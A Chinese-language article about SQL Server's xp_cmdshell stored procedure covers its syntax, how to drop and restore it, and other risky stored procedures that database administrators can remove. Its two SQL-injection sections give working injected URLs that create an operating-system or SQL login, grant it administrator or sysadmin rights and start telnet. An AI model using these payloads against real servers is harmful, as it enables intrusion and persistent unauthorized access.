xp_cmdshell是SQL Server中一个系统自带的存储过程。但是它功能强大,一旦被黑客掌握,破坏性极强!所以作为数据库管理员,一定要重视这个存储过程!本文介绍如何删除xp_cmdshell,并且在删除之后如何恢复xp_cmdshell。本文的最后还简单演示了一下xp_cmdshell在SQL注入中的重要作用!【使用xp_cmdshell】语法xp_cmdshell {'command_string'} [, no_output]'command_string'是在操作系统命令行解释器上执行的命令字符串。command_string 的数据类型为 varchar(255) 或 nvarchar(4000),没有默认值。command_string 不能包含一对以上的双引号。如果由 command_string 引用的文件路径或程序名称中有空格,则需要使用一对引号。如果使用嵌入空格不方便,可考虑使用 FAT 8.3 文件名作为解决办法。no_output是可选参数,表示执行给定的 command_string,但不向客户端返回任何输出。示例:调用命令:exec master..xp_cmdshell 'del E:\H_BACKUP.bak'【注销xp_cmdshell的方法】xp_cmdshell,很危险的一个存储过程,能够执行dos命令,可以通过下述SQL语句注销use masterexec sp_dropextendedproc 'xp_cmdshell'【恢复xp_cmdshell的方法】EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'【SQL注入方法一】1 添加用户http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.xp_cmdshell‘net user awen /add‘;2 更改密码http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.xp_cmdshell‘net user awen password‘;3 提升到管理员权限http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.xp_cmdshell‘net localgroup administrators awen /add‘;4 打开telnet服务http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.xp_cmdshell‘net start tlntsrv‘;5 依然是采用前面相同的方法登录【SQL注入方法二】1 添加用户http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.sp_addlogin user;2 修改密码http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.password null,password,user;3 提升到管理员权限http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.sp_addsrvrolemember user,sysadmin;用大家经常使用的net命令来对应(本身并没有任何联系,这里拿来对照学习)sp_addlogin user;相当于 net user user /addsp_password null,password,user相当于net user user passwordsp_addsrvrolemember user,sysadmin相当于net localgroup administrators user /add4 这样就可以通过查询分析器,上去使用cmdshell【引申】以下存储过程也很危险xp_fileexist,用来确定一个文件是否存在。 xp_getfiledetails,可以获得文件详细资料。xp_dirtree,可以展开你需要了解的目录,获得所有目录深度。 Xp_getnetname,可以获得服务器名称。去掉不需要的注册表访问的存储过程,如下:Xp_regaddmultistring Xp_regdeletekey Xp_regdeletevalue Xp_regenumvaluesXp_regread Xp_regremovemultistring Xp_regwrite如果你不需要请丢弃OLE自动存储过程,这些过程包括如下:Sp_OACreate Sp_OADestroy Sp_OAGetErrorInfo Sp_OAGetPropertySp_OAMethod Sp_OASetProperty Sp_OAStop

03-14 08:32